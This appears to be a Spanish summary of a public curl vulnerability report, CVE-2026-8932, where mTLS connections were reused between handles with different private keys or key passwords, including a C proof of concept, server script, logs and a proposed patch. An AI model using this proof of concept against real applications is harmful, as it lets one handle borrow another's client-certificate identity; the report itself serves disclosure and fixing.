Reports
BAJA[TLS Y CRIPTOGRAFÍA]#3733910

CVE-2026-8932: curl reutilizaba conexiones mTLS entre handles con distinta clave privada o contraseña de clave

curl solo comparaba parte de la configuración TLS al reutilizar conexiones: dos handles que compartían pool y diferían solo en la clave privada, su contraseña o su tipo usaban la misma conexión mTLS y la misma identidad.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

libcurl guarda las conexiones abiertas en un pool para volver a usarlas. Antes de reutilizar una conexión TLS comprueba que la configuración del nuevo handle coincide con la que se usó para abrirla. El problema, que recibió el CVE-2026-8932, es que esa comprobación no miraba todos los datos de la autenticación con certificado de cliente (mTLS).

El investigador lo presenta como un arreglo incompleto de CVE-2022-27782 ("TLS and SSH connection too eager reuse"). Aquel arreglo (commit f18af4f874, "tls: check more TLS details for connection reuse") movió varias opciones TLS a la estructura ssl_primary_config, que es la que se compara al reutilizar. Pero la parte de la credencial del par mTLS se quedó en ssl_config_data, que no se compara:

  • CURLOPT_SSLKEY
  • CURLOPT_SSLKEY_BLOB
  • CURLOPT_KEYPASSWD
  • CURLOPT_SSLKEYTYPE
  • CURLOPT_SSLCERTTYPE

Dónde está el fallo:

  • La decisión de reutilizar la toma match_ssl_primary_config (lib/vtls/vtls.c:194-225). Se llega a ella mediante Curl_ssl_conn_config_match (lib/vtls/vtls.c:227-240) desde url_match_ssl_config (lib/url.c:991-1003). Recibe un struct ssl_primary_config *, así que no puede ver nada que esté fuera de esa estructura.
  • Las dos estructuras se definen en lib/urldata.h: la primaria, que sí se compara (líneas 143-168), y ssl_config_data, que no (líneas 170-193).
  • connectdata (lib/urldata.h:389-392) solo lleva al pool la copia primaria. Cuando la conexión queda aparcada, el resto de la configuración con que se creó ya no está.

Por eso, dos handles que comparten pool mediante CURLSH o CURLM y solo se diferencian en esas opciones acaban usando la misma conexión ya autenticada. El segundo hereda sin aviso la identidad del primero ante el servidor.

El reporte señala un hueco parecido en la caché de sesiones TLS. Curl_ssl_peer_key_make (lib/vtls/vtls_scache.c:137-294) construye la clave de búsqueda solo con la configuración primaria. Si hay certificado de cliente, añade siempre el mismo marcador, sea cual sea el certificado o la clave:

if(ssl->clientcert && ssl->clientcert[0]) {
  r = curlx_dyn_add(&buf, ":CCERT");

La comprobación posterior, cf_ssl_scache_match_auth (lib/vtls/vtls_scache.c:607-627), solo compara clientcert y las credenciales SRP. No mira la clave, el blob de la clave, su contraseña, su tipo ni el tipo de certificado. El propio investigador matiza que, en la variante de la contraseña, este hueco es real pero estrecho: con una contraseña errónea, client_cert() falla antes de que la reanudación de sesión pueda ocultarlo. Las variantes del blob y del tipo de clave no tienen ese fallo previo.

Pasos de reproducción

La prueba usa dos handles, A y B, conectados al mismo servidor mTLS con un CURLSH compartido (CURL_LOCK_DATA_CONNECT y CURL_LOCK_DATA_SSL_SESSION). Los dos apuntan a https://server.test:8443/ y usan el mismo certificado (clientA.crt, CN=alice) y la misma clave (clientA.key), pero B pone mal la contraseña de la clave.

  1. Levantar un servidor TLS que exija certificado de cliente (CERT_REQUIRED) y anote el sujeto del certificado en cada petición. El investigador usó un pequeño servidor en Python (server.py) que escucha en 127.0.0.1:8443, mantiene la conexión abierta (keep-alive) y responde 200 OK. La parte clave es esta:
def make_ctx():
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(SERVER_CERT, SERVER_KEY)
    # Require a client cert.
    ctx.verify_mode = ssl.CERT_REQUIRED
    ctx.load_verify_locations(CA_BUNDLE)
    return ctx

Para cada petición escribe una línea así:

sys.stdout.write(
    f"[server] conn={id(tls):x} req#{req_n} "
    f"client_subject={subj} req='{line0}'\n"
)
  1. Escribir el programa de prueba F12_poc.c. Crea el share, configura A con la contraseña correcta y B con una errónea, lanza A y después B, y compara el identificador de conexión de cada uno (CURLINFO_CONN_ID):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>

#define URL "https://server.test:8443/"
#define HOST_RESOLVE "server.test:8443:127.0.0.1"

#define CERT_PATH "clientA.crt"
#define KEY_PATH  "clientA.key"
#define PASS_A    "aaa"           /* correct */
#define PASS_B    "wrong-password" /* deliberately wrong */

static size_t silent_write(char *ptr, size_t size, size_t nmemb, void *udata)
{
  (void)ptr; (void)udata;
  return size * nmemb;
}

static void set_common(CURL *eh, struct curl_slist *resolve, const char *tag)
{
  curl_easy_setopt(eh, CURLOPT_URL, URL);
  curl_easy_setopt(eh, CURLOPT_RESOLVE, resolve);
  curl_easy_setopt(eh, CURLOPT_SSL_VERIFYPEER, 0L);
  curl_easy_setopt(eh, CURLOPT_SSL_VERIFYHOST, 0L);
  curl_easy_setopt(eh, CURLOPT_WRITEFUNCTION, silent_write);
  curl_easy_setopt(eh, CURLOPT_PRIVATE, (void *)tag);
  curl_easy_setopt(eh, CURLOPT_VERBOSE, 1L);
}

int main(void)
{
  CURL *A, *B;
  CURLSH *share;
  struct curl_slist *resolve;
  CURLcode ra, rb;
  long codeA = 0, codeB = 0;
  curl_off_t idA = -1, idB = -1;

  curl_global_init(CURL_GLOBAL_ALL);

  share = curl_share_init();
  curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_CONNECT);
  curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_SSL_SESSION);

  resolve = curl_slist_append(NULL, HOST_RESOLVE);

  /* Handle A: SSLCERT=certA, SSLKEY=keyA, KEYPASSWD="aaa" (correct).
     Should connect cleanly and authenticate as CN=alice. */
  A = curl_easy_init();
  set_common(A, resolve, "A(correct-passwd)");
  curl_easy_setopt(A, CURLOPT_SHARE, share);
  curl_easy_setopt(A, CURLOPT_SSLCERT, CERT_PATH);
  curl_easy_setopt(A, CURLOPT_SSLKEY, KEY_PATH);
  curl_easy_setopt(A, CURLOPT_KEYPASSWD, PASS_A);

  /* Handle B: SAME SSLCERT, SAME SSLKEY, WRONG KEYPASSWD.
     Without conn reuse, B should fail to load its private key.
     With the bug, B reuses A's connection and succeeds. */
  B = curl_easy_init();
  set_common(B, resolve, "B(wrong-passwd)");
  curl_easy_setopt(B, CURLOPT_SHARE, share);
  curl_easy_setopt(B, CURLOPT_SSLCERT, CERT_PATH);
  curl_easy_setopt(B, CURLOPT_SSLKEY, KEY_PATH);
  curl_easy_setopt(B, CURLOPT_KEYPASSWD, PASS_B);

  fprintf(stderr, "\n=== Request A (correct passwd, expect 200) ===\n");
  ra = curl_easy_perform(A);
  curl_easy_getinfo(A, CURLINFO_RESPONSE_CODE, &codeA);
  curl_easy_getinfo(A, CURLINFO_CONN_ID, &idA);
  fprintf(stderr, "A done: code=%ld conn_id=%lld ra=%s\n",
          codeA, (long long)idA, curl_easy_strerror(ra));

  fprintf(stderr, "\n=== Request B (WRONG passwd) ===\n");
  fprintf(stderr, "    expectation if curl gates conn reuse on KEYPASSWD: fail\n");
  fprintf(stderr, "    observed:                                          \n");
  rb = curl_easy_perform(B);
  curl_easy_getinfo(B, CURLINFO_RESPONSE_CODE, &codeB);
  curl_easy_getinfo(B, CURLINFO_CONN_ID, &idB);
  fprintf(stderr, "B done: code=%ld conn_id=%lld rb=%s\n",
          codeB, (long long)idB, curl_easy_strerror(rb));

  if(idA >= 0 && idA == idB)
    fprintf(stderr,
            "\n*** B REUSED A's CONNECTION (conn_id %lld). "
            "B's wrong KEYPASSWD was never validated. ***\n",
            (long long)idA);
  else if(rb == CURLE_OK && codeB == 200)
    fprintf(stderr,
            "\n*** B SUCCEEDED on a fresh connection despite wrong KEYPASSWD. "
            "Resumed A's TLS session via shared scache (A=%lld B=%lld). ***\n",
            (long long)idA, (long long)idB);
  else
    fprintf(stderr,
            "\n--- B correctly failed (A=%lld B=%lld) ---\n",
            (long long)idA, (long long)idB);

  curl_easy_cleanup(A);
  curl_easy_cleanup(B);
  curl_share_cleanup(share);
  curl_slist_free_all(resolve);
  curl_global_cleanup();
  return 0;
}
  1. Compilar contra libcurl:
gcc -Wall -O0 -g -Icurl/include \
    F12_poc.c \
    curl/lib/.libs/libcurl.a \
    -lssl -lcrypto -lz -lpsl -lzstd -lbrotlidec -lidn2 -lnghttp2 \
    -lldap -llber -lssh2 -lpthread -ldl \
    -o F12_poc
  1. Con server.py en marcha en 127.0.0.1:8443, ejecutar:
./F12_poc

Resultado: A abre la conexión con su handshake completo. B no abre ninguna, reutiliza la de A y recibe un 200:

=== Request B (WRONG passwd) ===
    expectation if curl gates conn reuse on KEYPASSWD: fail
    observed:
* Added server.test:8443:127.0.0.1 to DNS cache
* Reusing existing https: connection with host server.test
> GET / HTTP/1.1
Host: server.test:8443
Accept: */*

* Request completely sent off
< HTTP/1.1 200 OK
< Content-Length: 2
< Connection: keep-alive
< Keep-Alive: timeout=30
<
* Connection #0 to host server.test:8443 left intact
B done: code=200 conn_id=0 rb=No error

*** B REUSED A's CONNECTION (conn_id 0). B's wrong KEYPASSWD was never validated. ***

El servidor ve las dos peticiones en la misma conexión y con la misma identidad:

[server] conn=7db7846f5470 req#1 client_subject=commonName=alice req='GET / HTTP/1.1'
[server] conn=7db7846f5470 req#2 client_subject=commonName=alice req='GET / HTTP/1.1'

Para descartar que el problema estuviera al cargar la clave, el investigador ejecutó B solo, sin el share: falla al momento con CURLE_SSL_CERTPROBLEM (código 43). El fallo está, por tanto, en la decisión de reutilizar la conexión.

Impacto

Un segundo handle configurado con otras credenciales (otra clave, otra contraseña de clave, otro tipo de clave o de certificado) puede reutilizar sin aviso una conexión mTLS que se autenticó con la identidad de otro handle. Mientras dure esa conexión, el servidor ve el certificado del primer handle en todas las peticiones, configure lo que configure el segundo.

En aplicaciones que deciden permisos según la identidad del certificado de cliente (autenticación mutua, credenciales por servicio, control de acceso basado en certificado), un handle puede hacerse pasar por otro dentro del mismo proceso. El programa clasificó el fallo con severidad baja.

Remediación

El reporte consta como resuelto, pero no detalla el parche definitivo. El investigador propuso hacer lo mismo que en f18af4f874: pasar a la configuración primaria los campos que faltan, compararlos en match_ssl_primary_config y meter la ruta del certificado de cliente en la clave de la caché de sesiones:

--- a/lib/urldata.h
+++ b/lib/urldata.h
 struct ssl_primary_config {
   ...
   char *CRLfile;
+  char *cert_type;
+  char *key;
+  char *key_type;
+  char *key_passwd;
+  struct curl_blob *key_blob;
   struct curl_blob *cert_blob;
   ...

--- a/lib/vtls/vtls_scache.c
+++ b/lib/vtls/vtls_scache.c
   if(ssl->clientcert && ssl->clientcert[0]) {
-    r = curlx_dyn_add(&buf, ":CCERT");
+    r = curlx_dyn_addf(&buf, ":CCERT-%s", ssl->clientcert);

La propuesta también toca clone_ssl_primary_config, free_primary_ssl_config, match_ssl_primary_config y cf_ssl_scache_match_auth. Según el investigador, la contraseña de la clave tendría que entrar en la clave de la caché en memoria (Curl_ssl_scache_peer), pero no en la versión exportable (CURL_SSLS_GLOBAL_SUFFIX). Deja fuera fsslctx/fsslctxp, porque la documentación ya dice que quien los usa debe combinarlos con FORBID_REUSE.

Aparte, el investigador apuntó un hallazgo menor solo de mbedTLS. lib/vtls/mbedtls.c:891-894 activa siempre la renegociación de TLS 1.2, y la comprobación de la clave pública fijada (lib/vtls/mbedtls.c:1071-1126) solo se hace tras el primer handshake. Curl_pin_peer_pubkey no se vuelve a ejecutar si el servidor renegocia con otro certificado. El reporte no dice cómo se trató este punto.

Qué aprender de este caso

  • Cuando una biblioteca reutiliza conexiones o sesiones de un pool, revisa qué campos entran en la función que decide si dos configuraciones "coinciden". Aquí la firma de match_ssl_primary_config ya lo delataba: solo recibía la mitad de la configuración.
  • Si el arreglo de un fallo consiste en ampliar la lista de campos que se comparan, revisa que no se haya quedado fuera la otra mitad de cada par. Aquí se comparaba el certificado de cliente, pero no su clave privada, la contraseña ni el tipo.
  • Las claves de caché hechas con marcadores fijos (:CCERT sin más datos) mezclan entradas que deberían ir separadas. Toda credencial que cambie la identidad tiene que formar parte de la clave, o comprobarse después.
  • Para probar este tipo de fallos sirve una configuración que falla sola (aquí, una contraseña de clave errónea): si "funciona" cuando comparte pool con otra correcta, queda demostrado que se ha reutilizado algo que no debía.